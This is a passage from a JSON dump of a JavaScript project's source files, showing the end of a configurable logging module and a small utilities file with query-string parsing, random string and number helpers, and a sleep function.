String(msg).split('\\n').forEach((line) => {\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [WARN] ${line}\\n`);\n            });\n        };\n    } else {\n        return () => { };\n    }\n})(), warn = w;\n\nlet e = (() => {\n    let conditons = ['trace', 'debug', 'info', 'warn', 'error'];\n    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[41;97m\"}[ERROR]${\"\\033[0m\"} ${line}`);\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [ERROR] ${line}\\n`);\n            });\n        };\n    } else if (conditons.includes(config.log.console_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[41;97m\"}[ERROR]${\"\\033[0m\"} ${line}`);\n            });\n        };\n    } else if (conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [ERROR] ${line}\\n`);\n            });\n        };\n    } else {\n        return () => { };\n    }\n})(), error = e;\n\nif (!config.log.enable) {\n    t = trace = d = debug = i = info = w = warn = e = error = () => { };\n}\n\nmodule.exports = {\n    t,\n    trace,\n    d,\n    debug,\n    i,\n    info,\n    w,\n    warn,\n    e,\n    error,\n};"
  },
  {
    "path": "utils/tools.js",
    "content": "module.exports = {\n    parse_query: (query) => {\n        let query_obj = {};\n        if (query.indexOf('?') !== -1) query = query.split('?')[1];\n        query.split('&').forEach(item => {\n            let [key, value] = item.split('=');\n            query_obj[key] = value;\n        });\n        return query_obj;\n    },\n    random_string: (len) => {\n        let str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n        let result = '';\n        for (let i = 0; i < len; i++) {\n            result += str[Math.floor(Math.random() * str.length)];\n        }\n        return result;\n    },\n    rand_between: (min, max) => {\n        return Math.floor(Math.random() * (max - min + 1) + min);\n    },\n    sleep: (ms) => {\n        return new Promise(resolve => setTimeout(resolve, ms));\n    },\n};"
  }
]